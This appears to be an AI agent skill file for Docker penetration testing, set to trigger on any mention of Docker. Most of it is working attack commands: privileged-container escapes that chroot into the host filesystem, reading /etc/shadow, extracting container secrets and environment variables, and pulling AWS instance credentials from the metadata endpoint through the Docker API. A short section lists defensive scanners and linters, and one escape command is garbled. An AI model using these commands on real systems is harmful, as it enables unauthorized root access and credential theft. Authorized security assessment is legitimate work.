Hacktricks-skills docker-pentesting

Docker security assessment and exploitation. Use this skill whenever the user needs to enumerate Docker services, exploit misconfigured Docker APIs (ports 2375/2376), escape containers, discover secrets in running containers, or perform privilege escalation via Docker. Trigger on mentions of Docker, containerization, container escape, Docker API, port 2375, port 2376, container security, or any Docker-related security testing.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/2375-pentesting-docker/SKILL.MD
source content

Docker Pentesting Skill

A comprehensive skill for Docker security assessments, including enumeration, exploitation, container escape, and secret discovery.

When to Use This Skill

Use this skill when:

  • You need to enumerate a Docker service (especially on ports 2375/2376)
  • You want to exploit an unauthenticated Docker API
  • You need to escape from a Docker container to the host
  • You're looking for secrets in running containers
  • You need to perform privilege escalation via Docker
  • You're assessing Docker security configurations

Quick Reference

Default Ports

  • 2375/tcp: Docker Remote API (unencrypted, no auth by default)
  • 2376/tcp: Docker Remote API (TLS encrypted)

Fast Privilege Escalation

# If you have Docker API access, this gives you root on the host
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Enumeration

Check if Docker API is Accessible

First, determine if you can reach the Docker API:

# Using curl (works on both 2375 and 2376)
curl -s http://<target>:2375/version | jq

# Using docker CLI
docker -H tcp://<target>:2375 version

# Set environment variable to avoid -H flag
export DOCKER_HOST="tcp://<target>:2375"
docker version

Enumerate Running Containers

# List all containers
docker -H tcp://<target>:2375 ps -a

# Using curl for TLS endpoint
curl -s --insecure https://<target>:2376/containers/json | jq

Inspect Container Details

# Get detailed container info (includes environment variables, mounts, etc.)
docker -H tcp://<target>:2375 inspect <container_id>

# Check what's mounted
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/<container_id>/exec \
  -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","mount"]}'

List Images

docker -H tcp://<target>:2375 images

# Using containerd CLI (if available)
ctr images list

Exploitation

Container Escape via Privileged Container

If you can create containers, spawn a privileged one with host filesystem mounted:

# Method 1: Simple chroot escape
docker -H tcp://<target>:2375 run --rm -it --privileged -v /:/host alpine chroot /host /bin/bash

# Method 2: Using curl API (for TLS endpoint)
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/create?name=escape \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host /bin/bash"],"Binds":["/:/host"],"Privileged":true}'

curl -s --insecure -X POST https://<target>:2376/containers/escape/start

curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/escape/exec \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"]}'

Read Sensitive Files

# Read /etc/shadow
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadow

# Read any file
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/<path/to/file>

Extract Secrets from Running Containers

# Get container ID
docker -H tcp://<target>:2375 ps | grep <service_name>

# Inspect for environment variables (often contain secrets)
docker -H tcp://<target>:2375 inspect <container_id> | jq '.[0].Config.Env'

# Copy files from container
docker -H tcp://<target>:2375 cp <container_id>:/etc/<secret_file> ./

# Execute commands to find secrets
docker -H tcp://<target>:2375 exec -it <container_id> env
docker -H tcp://<target>:2375 exec -it <container_id> cat /run/secrets/*

AWS Metadata Access (if container has network access)

# Create exec to fetch AWS credentials
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/<container_id>/exec \
  -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

# Get the exec ID from response, then start it
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/exec/<exec_id>/start -d '{}'

Containerd Exploitation

If containerd is accessible directly:

# Pull an image
ctr images pull --skip-verify --plain-http <registry>:5000/alpine:latest

# Create and start a container
ctr container create <image> <container_name>
ctr task start <container_name>

# Attach to running container
ctr tasks attach <container_name>

# List and manage containers
ctr container list
ctr task list
ctr task kill -s SIGKILL <container_name>
ctr container delete <container_name>

Podman Considerations

Podman is compatible with Docker CLI but has key differences:

# Podman commands (same as docker)
podman --version
podman info
podman images ls
podman ps

# Podman supports rootless containers by default
# This can be both a security feature and a limitation for exploitation

Security Assessment Tools

Docker Security Benchmarks

# docker-bench-security - comprehensive security check
git clone https://github.com/docker/docker-bench-security
cd docker-bench-security
./docker-bench-security.sh

# dockscan - Docker security scanner
dockscan -v unix:///var/run/docker.sock

# amicontained - check container privileges
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained

Dockerfile Linting

# hadolint - popular Dockerfile linter
docker run --rm -i hadolint/hadolint < Dockerfile

# dockerfile-linter
dockerfilelinter -f Dockerfile

# dockerfilelint
dockerfilelint Dockerfile

Image Vulnerability Scanning

# Clair - vulnerability scanner for container images
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://<clair_ip>:6060 --ip <target_ip> <image_name>

Runtime Monitoring

# Falco - runtime security monitoring
docker run -it --privileged \
  -v /var/run/docker.sock:/host/var/run/docker.sock \
  -v /dev:/host/dev \
  -v /proc:/host/proc:ro \
  -v /boot:/host/boot:ro \
  -v /lib/modules:/host/lib/modules:ro \
  -v /usr:/host/usr:ro \
  falcosecurity/falco

Common Attack Patterns

Pattern 1: Unauthenticated Docker API

Scenario: Port 2375 is open with no authentication

Exploitation:

export DOCKER_HOST="tcp://<target>:2375"
docker run -it -v /:/host ubuntu:latest chroot /host/ bash

Pattern 2: TLS Docker API with Weak Certificates

Scenario: Port 2376 is open with self-signed or weak certificates

Exploitation:

# Use --insecure flag with curl
curl -s --insecure https://<target>:2376/containers/json | jq

# Create privileged container via API
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/create?name=pwned \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'

Pattern 3: Container with Host Mounts

Scenario: Container already has host filesystem mounted

Exploitation:

# Find the mount point
docker exec -it <container_id> mount | grep /host

# Escape to host
cd /host
chroot /bin/bash

Pattern 4: Secrets in Environment Variables

Scenario: Container has sensitive data in environment variables

Exploitation:

# List all environment variables
docker exec -it <container_id> env

# Look for common secret patterns
docker exec -it <container_id> env | grep -iE '(password|secret|key|token|api_key|aws)'

# Inspect container config
docker inspect <container_id> | jq '.[0].Config.Env'

Cleanup

After exploitation, clean up created containers:

# Stop and remove containers
docker -H tcp://<target>:2375 stop <container_id>
docker -H tcp://<target>:2375 rm <container_id>

# Or prune all stopped containers
docker -H tcp://<target>:2375 container prune

# Using curl API
curl -s --insecure -X POST https://<target>:2376/containers/prune

References